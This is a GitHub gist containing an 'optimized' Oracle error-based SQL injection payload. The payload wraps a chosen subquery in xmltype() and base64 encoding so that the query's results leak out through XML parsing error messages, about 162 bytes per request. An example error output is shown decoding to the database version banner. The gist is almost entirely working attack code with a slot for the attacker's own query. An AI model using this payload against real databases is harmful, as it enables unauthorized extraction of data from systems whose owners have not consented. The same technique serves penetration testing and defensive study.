Created
April 17, 2018 18:29
-
-
Save xassiz/7aa20b670d7e44da665c3e28f216a927 to your computer and use it in GitHub Desktop.
Optimized Oracle error-based SQL injection technique via xmltype() + base64
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* @description: Optimized Oracle error-based SQLi via xmltype() + base64 (up to 162 bytes/req) | |
* @author: xassiz | |
*/ | |
select ''|| | |
xmltype('<'|| | |
regexp_replace( | |
utl_raw.cast_to_varchar2( | |
utl_encode.base64_encode( | |
utl_raw.cast_to_raw( | |
(select banner from v$version where banner like 'Oracle%') --> your query here | |
) | |
) | |
) | |
||':x>', | |
chr(10)||'|'||chr(13)||'|=','') | |
) | |
||'' from dual | |
/* | |
Example: | |
ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix "T3JhY2xlIERhdGFiYXNlIDExZyBFe | |
| HByZXNzIEVkaXRpb24gUmVsZWFzZSAxMS4yLjAuMi4wIC0gNjRiaXQgUHJvZHVjdGlvbg" is not declared | |
| | |
\ | |
\--> base64_decode() = 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production' | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment